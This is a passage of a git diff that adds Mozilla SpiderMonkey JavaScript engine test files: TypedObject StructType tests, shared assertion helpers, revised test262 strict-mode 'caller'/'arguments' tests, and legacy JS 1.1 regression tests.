+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var failed;
+ try {
+ new StructType({1: int32, 2: uint8, 3: float64});
+ failed = false;
+ } catch (e) {
+ failed = true;
+ }
+ reportCompare(failed, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/structtypeprototype.js b/js/src/tests/ecma_7/TypedObject/structtypeprototype.js
new file mode 100644
index 000000000..b54ff4249
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypeprototype.js
@@ -0,0 +1,80 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects StructType prototype chains';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function runTests() {
+ var RgbColor1 = new StructType({r: uint8, g: uint8, b: uint8});
+ var RgbColor2 = new StructType({r: uint8, g: uint8, b: uint8});
+ var Fade1 = new StructType({from: RgbColor1, to: RgbColor1});
+ var Fade2 = new StructType({from: RgbColor2, to: RgbColor2});
+
+ // Available on all struct types (even though it would only make
+ // sense on a RgbColor1 or RgbColor2 instance)
+ StructType.prototype.prototype.sub = function(c) {
+ this.r -= c;
+ this.g -= c;
+ this.b -= c;
+ };
+
+ // Available on `RgbColor2` instances only
+ RgbColor2.prototype.add = function(c) {
+ this.r += c;
+ this.g += c;
+ this.b += c;
+ };
+
+ var black = new RgbColor1({r: 0, g: 0, b: 0});
+ var gray = new RgbColor2({r: 129, g: 128, b: 127});
+
+ // `add` works on `RgbColor2`
+ assertThrows(function() { black.add(1); });
+ gray.add(1);
+ assertEq(130, gray.r);
+ assertEq(129, gray.g);
+ assertEq(128, gray.b);
+
+ // `add` fails (for both!) when accessed via `fade1`
+ var fade1 = new Fade1({from: black, to: gray});
+ assertThrows(function() { fade1.from.add(1); });
+ assertThrows(function() { fade1.to.add(1); });
+
+ // `sub` works on both
+ black.sub(1);
+ assertEq(black.r, 255);
+ assertEq(black.g, 255);
+ assertEq(black.b, 255);
+ gray.sub(1);
+ assertEq(gray.r, 129);
+ assertEq(gray.g, 128);
+ assertEq(gray.b, 127);
+
+ // `add` works (for both!) when accessed via `fade2`
+ var fade2 = new Fade2(fade1);
+ fade2.from.add(1);
+ assertEq(fade2.from.r, 1);
+ assertEq(fade2.from.g, 1);
+ assertEq(fade2.from.b, 1);
+ fade2.to.add(1);
+ assertEq(fade2.to.r, 131);
+ assertEq(fade2.to.g, 130);
+ assertEq(fade2.to.b, 129);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
+
+
diff --git a/js/src/tests/ecma_7/TypedObject/structtypereflection.js b/js/src/tests/ecma_7/TypedObject/structtypereflection.js
new file mode 100644
index 000000000..0904401ed
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypereflection.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects: check reflection on StructType objects';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var S = new StructType({x: int32, y: uint8, z: float64});
+ assertEq(S.__proto__, StructType.prototype);
+ assertEq(S.prototype.__proto__, StructType.prototype.prototype);
+ assertEq(S.toSource(), "new StructType({x: int32, y: uint8, z: float64})");
+ assertEq(S.byteLength, 16);
+ assertEq(S.byteAlignment, 8);
+ var fieldNames = Object.getOwnPropertyNames(S.fieldTypes);
+ assertEq(fieldNames[0], "x");
+ assertEq(fieldNames[1], "y");
+ assertEq(fieldNames[2], "z");
+ assertEq(fieldNames.length, 3);
+ assertEq(S.fieldTypes.x, int32);
+ assertEq(S.fieldTypes.y, uint8);
+ assertEq(S.fieldTypes.z, float64);
+ assertEq(S.fieldOffsets.x, 0);
+ assertEq(S.fieldOffsets.y, 4);
+ assertEq(S.fieldOffsets.z, 8);
+
+ // fieldTypes and fieldOffsets should be frozen
+ assertEq(Object.isFrozen(S.fieldTypes), true);
+ assertEq(Object.isFrozen(S.fieldOffsets), true);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/structtypestructuralassign.js b/js/src/tests/ecma_7/TypedObject/structtypestructuralassign.js
new file mode 100644
index 000000000..b16901092
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypestructuralassign.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects StructType structural assignment';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function assertEqColor(c1, c2) {
+ assertEq(c1.r, c2.r);
+ assertEq(c1.g, c2.g);
+ assertEq(c1.b, c2.b);
+}
+
+function runTests() {
+ var RgbColor = new StructType({r: uint8, g: uint8, b: uint8});
+ var Fade = new StructType({from: RgbColor, to: RgbColor});
+
+ var white = new RgbColor({r: 255, g: 255, b: 255});
+ var gray = new RgbColor({r: 129, g: 128, b: 127});
+ var black = new RgbColor({r: 0, g: 0, b: 0});
+
+ var fade = new Fade({from: white, to: white});
+ assertEqColor(white, fade.from);
+ assertEqColor(white, fade.to);
+
+ fade.to = gray;
+ assertEqColor(white, fade.from);
+ assertEqColor(gray, fade.to);
+
+ fade.to = black;
+ assertEqColor(white, fade.from);
+ assertEqColor(black, fade.to);
+
+ fade.to = {r: 129, g: 128, b: 127};
+ assertEqColor(white, fade.from);
+ assertEqColor(gray, fade.to);
+
+ fade.from = {r: 0, g: 0, b: 0};
+ assertEqColor(black, fade.from);
+ assertEqColor(gray, fade.to);
+
+ // Create a variation of color which is still binary data but the
+ // properties are in the wrong order. This will prevent a simple
+ // memcopy, but it should still work, just on the "slow path".
+ var BrgColor = new StructType({b: uint8, r: uint8, g: uint8});
+ var brgGray = new BrgColor(gray);
+ assertEqColor(gray, brgGray);
+
+ fade.from = brgGray;
+ assertEqColor(gray, fade.from);
+
+ // One last test where we have to recursively adapt:
+ var BrgFade = new StructType({from: BrgColor, to: BrgColor});
+ var brgFade = new BrgFade(fade);
+ assertEqColor(brgFade.from, fade.from);
+ assertEqColor(brgFade.to, fade.to);
+
+ // Test that extra and missing properties are ok:
+ fade.from = {r: 129, g: 128, b: 127, a: 126};
+ assertEqColor(fade.from, gray);
+
+ // Missing properties are just treated as undefined:
+ fade.from = {r: 129, g: 128};
+ assertEq(fade.from.r, 129);
+ assertEq(fade.from.g, 128);
+ assertEq(fade.from.b, 0);
+
+ // Which means weird stuff like this is legal:
+ fade.from = [];
+ assertEqColor(fade.from, black);
+ fade.from = {};
+ assertEqColor(fade.from, black);
+
+ // But assignment from a scalar is NOT:
+ var failed = false;
+ try {
+ civic.color = 5;
+ } catch(e) { failed = true; }
+ if (!failed) throw new Exception("Should have thrown");
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/browser.js b/js/src/tests/ecma_7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/browser.js
diff --git a/js/src/tests/ecma_7/extensions/browser.js b/js/src/tests/ecma_7/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/extensions/browser.js
diff --git a/js/src/tests/ecma_7/extensions/parse-rest-destructuring-parameter.js b/js/src/tests/ecma_7/extensions/parse-rest-destructuring-parameter.js
new file mode 100644
index 000000000..dda67c95f
--- /dev/null
+++ b/js/src/tests/ecma_7/extensions/parse-rest-destructuring-parameter.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function funArgs(params) {
+ return Reflect.parse(`function f(${params}) {}`).body[0].rest;
+}
+
+var arrayRest = funArgs("...[]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 0);
+
+arrayRest = funArgs("...[a]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 1);
+
+var objectRest = funArgs("...{}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 0);
+
+objectRest = funArgs("...{p: a}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/extensions/shell.js b/js/src/tests/ecma_7/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/extensions/shell.js
diff --git a/js/src/tests/ecma_7/shell.js b/js/src/tests/ecma_7/shell.js
new file mode 100644
index 000000000..f47e78108
--- /dev/null
+++ b/js/src/tests/ecma_7/shell.js
@@ -0,0 +1,205 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+if (typeof assertThrowsInstanceOf === 'undefined') {
+ var assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+}
+
+if (typeof assertThrowsValue === 'undefined') {
+ var assertThrowsValue = function assertThrowsValue(f, val, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if ((exc === val) === (val === val) && (val !== 0 || 1 / exc === 1 / val))
+ return;
+ fullmsg = "Assertion failed: expected exception " + val + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + val + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+}
+
+if (typeof assertDeepEq === 'undefined') {
+ var assertDeepEq = (function(){
+ var call = Function.prototype.call,
+ Array_isArray = Array.isArray,
+ Map_ = Map,
+ Error_ = Error,
+ Map_has = call.bind(Map.prototype.has),
+ Map_get = call.bind(Map.prototype.get),
+ Map_set = call.bind(Map.prototype.set),
+ Object_toString = call.bind(Object.prototype.toString),
+ Function_toString = call.bind(Function.prototype.toString),
+ Object_getPrototypeOf = Object.getPrototypeOf,
+ Object_hasOwnProperty = call.bind(Object.prototype.hasOwnProperty),
+ Object_getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor,
+ Object_isExtensible = Object.isExtensible,
+ Object_getOwnPropertyNames = Object.getOwnPropertyNames,
+ uneval_ = uneval;
+
+ // Return true iff ES6 Type(v) isn't Object.
+ // Note that `typeof document.all === "undefined"`.
+ function isPrimitive(v) {
+ return (v === null ||
+ v === undefined ||
+ typeof v === "boolean" ||
+ typeof v === "number" ||
+ typeof v === "string" ||
+ typeof v === "symbol");
+ }
+
+ function assertSameValue(a, b, msg) {
+ try {
+ assertEq(a, b);
+ } catch (exc) {
+ throw Error_(exc.message + (msg ? " " + msg : ""));
+ }
+ }
+
+ function assertSameClass(a, b, msg) {
+ var ac = Object_toString(a), bc = Object_toString(b);
+ assertSameValue(ac, bc, msg);
+ switch (ac) {
+ case "[object Function]":
+ assertSameValue(Function_toString(a), Function_toString(b), msg);
+ }
+ }
+
+ function at(prevmsg, segment) {
+ return prevmsg ? prevmsg + segment : "at _" + segment;
+ }
+
+ // Assert that the arguments a and b are thoroughly structurally equivalent.
+ //
+ // For the sake of speed, we cut a corner:
+ // var x = {}, y = {}, ax = [x];
+ // assertDeepEq([ax, x], [ax, y]); // passes (?!)
+ //
+ // Technically this should fail, since the two object graphs are different.
+ // (The graph of [ax, y] contains one more object than the graph of [ax, x].)
+ //
+ // To get technically correct behavior, pass {strictEquivalence: true}.
+ // This is slower because we have to walk the entire graph, and Object.prototype
+ // is big.
+ //
+ return function assertDeepEq(a, b, options) {
+ var strictEquivalence = options ? options.strictEquivalence : false;
+
+ function assertSameProto(a, b, msg) {
+ check(Object_getPrototypeOf(a), Object_getPrototypeOf(b), at(msg, ".__proto__"));
+ }
+
+ function failPropList(na, nb, msg) {
+ throw Error_("got own properties " + uneval_(na) + ", expected " + uneval_(nb) +
+ (msg ? " " + msg : ""));
+ }
+
+ function assertSameProps(a, b, msg) {
+ var na = Object_getOwnPropertyNames(a),
+ nb = Object_getOwnPropertyNames(b);
+ if (na.length !== nb.length)
+ failPropList(na, nb, msg);
+
+ // Ignore differences in whether Array elements are stored densely.
+ if (Array_isArray(a)) {
+ na.sort();
+ nb.sort();
+ }
+
+ for (var i = 0; i < na.length; i++) {
+ var name = na[i];
+ if (name !== nb[i])
+ failPropList(na, nb, msg);
+ var da = Object_getOwnPropertyDescriptor(a, name),
+ db = Object_getOwnPropertyDescriptor(b, name);
+ var pmsg = at(msg, /^[_$A-Za-z0-9]+$/.test(name)
+ ? /0|[1-9][0-9]*/.test(name) ? "[" + name + "]" : "." + name
+ : "[" + uneval_(name) + "]");
+ assertSameValue(da.configurable, db.configurable, at(pmsg, ".[[Configurable]]"));
+ assertSameValue(da.enumerable, db.enumerable, at(pmsg, ".[[Enumerable]]"));
+ if (Object_hasOwnProperty(da, "value")) {
+ if (!Object_hasOwnProperty(db, "value"))
+ throw Error_("got data property, expected accessor property" + pmsg);
+ check(da.value, db.value, pmsg);
+ } else {
+ if (Object_hasOwnProperty(db, "value"))
+ throw Error_("got accessor property, expected data property" + pmsg);
+ check(da.get, db.get, at(pmsg, ".[[Get]]"));
+ check(da.set, db.set, at(pmsg, ".[[Set]]"));
+ }
+ }
+ };
+
+ var ab = new Map_();
+ var bpath = new Map_();
+
+ function check(a, b, path) {
+ if (typeof a === "symbol") {
+ // Symbols are primitives, but they have identity.
+ // Symbol("x") !== Symbol("x") but
+ // assertDeepEq(Symbol("x"), Symbol("x")) should pass.
+ if (typeof b !== "symbol") {
+ throw Error_("got " + uneval_(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (uneval_(a) !== uneval_(b)) {
+ // We lamely use uneval_ to distinguish well-known symbols
+ // from user-created symbols. The standard doesn't offer
+ // a convenient way to do it.
+ throw Error_("got " + uneval_(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct symbols " + at(path, "") + " and " +
+ at(bPrevPath, "") + ", expected the same symbol both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ }
+ } else if (isPrimitive(a)) {
+ assertSameValue(a, b, path);
+ } else if (isPrimitive(b)) {
+ throw Error_("got " + Object_toString(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct objects " + at(path, "") + " and " + at(bPrevPath, "") +
+ ", expected the same object both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ if (a !== b || strictEquivalence) {
+ assertSameClass(a, b, path);
+ assertSameProto(a, b, path);
+ assertSameProps(a, b, path);
+ assertSameValue(Object_isExtensible(a),
+ Object_isExtensible(b),
+ at(path, ".[[Extensible]]"));
+ }
+ }
+ }
+
+ check(a, b, "");
+ };
+ })();
+}
diff --git a/js/src/tests/function-arguments-caller-changes.diff b/js/src/tests/function-arguments-caller-changes.diff
new file mode 100644
index 000000000..5c9cc0cfc
--- /dev/null
+++ b/js/src/tests/function-arguments-caller-changes.diff
@@ -0,0 +1,234 @@
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-29-s.js b/js/src/tests/test262/ch13/13.2/13.2-29-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-29-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-29-s.js
+@@ -8,12 +8,12 @@
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+ function foo() {"use strict";}
+- return ! Object.getOwnPropertyDescriptor(foo,
+- "caller").configurable;
++ return Object.getOwnPropertyDescriptor(foo,
++ "caller") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-30-s.js b/js/src/tests/test262/ch13/13.2/13.2-30-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-30-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-30-s.js
+@@ -7,12 +7,12 @@
+ * @path ch13/13.2/13.2-30-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+- return ! Object.getOwnPropertyDescriptor(Function("'use strict';"),
+- "caller").configurable;
++ return Object.getOwnPropertyDescriptor(Function("'use strict';"),
++ "caller") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-31-s.js b/js/src/tests/test262/ch13/13.2/13.2-31-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-31-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-31-s.js
+@@ -7,12 +7,12 @@
+ * @path ch13/13.2/13.2-31-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+- return ! Object.getOwnPropertyDescriptor(new Function("'use strict';"),
+- "caller").configurable;
++ return Object.getOwnPropertyDescriptor(new Function("'use strict';"),
++ "caller") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-32-s.js b/js/src/tests/test262/ch13/13.2/13.2-32-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-32-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-32-s.js
+@@ -8,12 +8,12 @@
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+ var funcExpr = function () { "use strict";};
+- return ! Object.getOwnPropertyDescriptor(funcExpr,
+- "caller").configurable;
++ return Object.getOwnPropertyDescriptor(funcExpr,
++ "caller") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-33-s.js b/js/src/tests/test262/ch13/13.2/13.2-33-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-33-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-33-s.js
+@@ -8,12 +8,12 @@
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+ function foo() {"use strict";}
+- return ! Object.getOwnPropertyDescriptor(foo,
+- "arguments").configurable;
++ return Object.getOwnPropertyDescriptor(foo,
++ "arguments") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-34-s.js b/js/src/tests/test262/ch13/13.2/13.2-34-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-34-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-34-s.js
+@@ -7,12 +7,12 @@
+ * @path ch13/13.2/13.2-34-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+- return ! Object.getOwnPropertyDescriptor(Function("'use strict';"),
+- "arguments").configurable;
++ return Object.getOwnPropertyDescriptor(Function("'use strict';"),
++ "arguments") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-35-s.js b/js/src/tests/test262/ch13/13.2/13.2-35-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-35-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-35-s.js
+@@ -7,12 +7,12 @@
+ * @path ch13/13.2/13.2-35-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+- return ! Object.getOwnPropertyDescriptor(new Function("'use strict';"),
+- "arguments").configurable;
++ return Object.getOwnPropertyDescriptor(new Function("'use strict';"),
++ "arguments") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/13.2-36-s.js b/js/src/tests/test262/ch13/13.2/13.2-36-s.js
+--- a/js/src/tests/test262/ch13/13.2/13.2-36-s.js
++++ b/js/src/tests/test262/ch13/13.2/13.2-36-s.js
+@@ -8,12 +8,12 @@
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+ function testcase() {
+ var funcExpr = function () { "use strict";};
+- return ! Object.getOwnPropertyDescriptor(funcExpr,
+- "arguments").configurable;
++ return Object.getOwnPropertyDescriptor(funcExpr,
++ "arguments") === undefined;
+ }
+-runTestCase(testcase);
+\ No newline at end of file
++runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js b/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js
+--- a/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js
++++ b/js/src/tests/test262/ch13/13.2/S13.2.3_A1.js
+@@ -1,49 +1,61 @@
+ // Copyright 2011 Google Inc. All rights reserved.
+ // This code is governed by the BSD license found in the LICENSE file.
+
+ /**
+ * @path ch13/13.2/S13.2.3_A1.js
+- * @description check that all poisoning use the [[ThrowTypeError]]
++ * @description check that strict mode functions/arguments have
++ * [[ThrowTypeError]]-like behavior
+ * function object.
+ * @onlyStrict
+ */
+
+ "use strict";
+-var poison = Object.getOwnPropertyDescriptor(function() {}, 'caller').get;
++var poison = Object.getOwnPropertyDescriptor(Function.prototype, 'caller').get;
+
+ if (typeof poison !== 'function') {
+ $ERROR("#1: A strict function's .caller should be poisoned with a function");
+ }
+ var threw = null;
+ try {
+- poison();
++ poison.call(function() {});
+ } catch (err) {
+ threw = err;
+ }
+ if (!threw || !(threw instanceof TypeError)) {
+ $ERROR("#2: Poisoned property should throw TypeError");
+ }
+
++function checkNotPresent(obj, name) {
++ var desc = Object.getOwnPropertyDescriptor(obj, name);
++ if (desc !== undefined) {
++ $ERROR("#3: " + name + " should not appear as a descriptor");
++ }
++}
++
++var argumentsPoison =
++ Object.getOwnPropertyDescriptor(function() { return arguments; }(),
++ "callee").get;
++
+ function checkPoison(obj, name) {
+ var desc = Object.getOwnPropertyDescriptor(obj, name);
+ if (desc.enumerable) {
+ $ERROR("#3: Poisoned " + name + " should not be enumerable");
+ }
+ if (desc.configurable) {
+ $ERROR("#4: Poisoned " + name + " should not be configurable");
+ }
+- if (poison !== desc.get) {
++ if (argumentsPoison !== desc.get) {
+ $ERROR("#5: " + name + "'s getter not poisoned with same poison");
+ }
+- if (poison !== desc.set) {
++ if (argumentsPoison !== desc.set) {
+ $ERROR("#6: " + name + "'s setter not poisoned with same poison");
+ }
+ }
+
+-checkPoison(function() {}, 'caller');
+-checkPoison(function() {}, 'arguments');
++checkNotPresent(function() {}, 'caller');
++checkNotPresent(function() {}, 'arguments');
+ checkPoison((function() { return arguments; })(), 'caller');
+ checkPoison((function() { return arguments; })(), 'callee');
+-checkPoison((function() {}).bind(null), 'caller');
+-checkPoison((function() {}).bind(null), 'arguments');
++checkNotPresent((function() {}).bind(null), 'caller');
++checkNotPresent((function() {}).bind(null), 'arguments');
+
diff --git a/js/src/tests/js-test-driver-begin.js b/js/src/tests/js-test-driver-begin.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js-test-driver-begin.js
diff --git a/js/src/tests/js-test-driver-end.js b/js/src/tests/js-test-driver-end.js
new file mode 100644
index 000000000..19a910c34
--- /dev/null
+++ b/js/src/tests/js-test-driver-end.js
@@ -0,0 +1,3 @@
+jsTestDriverEnd();
+
+
diff --git a/js/src/tests/js1_1/README b/js/src/tests/js1_1/README
new file mode 100644
index 000000000..eb5b5cc93
--- /dev/null
+++ b/js/src/tests/js1_1/README
@@ -0,0 +1 @@
+JavaScript 1.1
diff --git a/js/src/tests/js1_1/browser.js b/js/src/tests/js1_1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_1/browser.js
diff --git a/js/src/tests/js1_1/regress/browser.js b/js/src/tests/js1_1/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_1/regress/browser.js
diff --git a/js/src/tests/js1_1/regress/function-001.js b/js/src/tests/js1_1/regress/function-001.js
new file mode 100644
index 000000000..37d2335d4
--- /dev/null
+++ b/js/src/tests/js1_1/regress/function-001.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232
+ *
+ * eval("function f(){}function g(){}") at top level is an error for JS1.2
+ and above (missing ; between named function expressions), but declares f
+ and g as functions below 1.2.
+ *
+ * Fails to produce error regardless of version:
+ * js> version(100)
+ 120
+ js> eval("function f(){}function g(){}")
+ js> version(120);
+ 100
+ js> eval("function f(){}function g(){}")
+ js>
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS1_1";
+var TITLE = "functions not separated by semicolons are not errors in version 110 ";
+var BUGNUMBER="99232";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+result = "passed";
+
+new TestCase(
+ SECTION,
+ "eval(\"function f(){}function g(){}\")",
+ void 0,
+ eval("function f(){}function g(){}") );
+
+test();
+
diff --git a/js/src/tests/js1_1/regress/perfect.js b/js/src/tests/js1_1/regress/perfect.js
new file mode 100644
index 000000000..ceb340d7a
--- /dev/null
+++ b/js/src/tests/js1_1/regress/perfect.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Some simple testing of new, eval and some string stuff.
+
+// constructor -- expression array initialization
+function ExprArray(n,v)
+{
+ // Initializes n values to v coerced to a string.
+ for (var i = 0; i < n; i++) {
+ this[i] = "" + v;
+ }
+}
+
+
+// Print the perfect numbers up to n and the sum expression for n's divisors.
+function perfect(n)
+{
+ print("The perfect numbers up to " + n + " are:");
+ var results = [];
+
+ // We build sumOfDivisors[i] to hold a string expression for
+ // the sum of the divisors of i, excluding i itself.
+ var sumOfDivisors = new ExprArray(n+1,1);
+ for (var divisor = 2; divisor <= n; divisor++) {
+ for (var j = divisor + divisor; j <= n; j += divisor) {
+ sumOfDivisors[j] += " + " + divisor;
+ }
+ // At this point everything up to 'divisor' has its sumOfDivisors
+ // expression calculated, so we can determine whether it's perfect
+ // already by evaluating.
+ if (eval(sumOfDivisors[divisor]) == divisor) {
+ print("" + divisor + " = " + sumOfDivisors[divisor]);
+ results.push(divisor);
+ }
+ }
+ print("That's all.");
+ return results;
+}
+
+
+print("\nA number is 'perfect' if it is equal to the sum of its")
+print("divisors (excluding itself).\n");
+
+reportCompare(perfect(500).join(), "6,28,496");
diff --git a/js/src/tests/js1_1/regress/shell.js b/js/src/tests/js1_1/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_1/regress/shell.js
diff --git a/js/src/tests/js1_1/shell.js b/js/src/tests/js1_1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_1/shell.js
diff --git a/js/src/tests/js1_2/Array/array_split_1.js b/js/src/tests/js1_2/Array/array_split_1.js
new file mode 100644
index 000000000..8461d1b8c
--- /dev/null
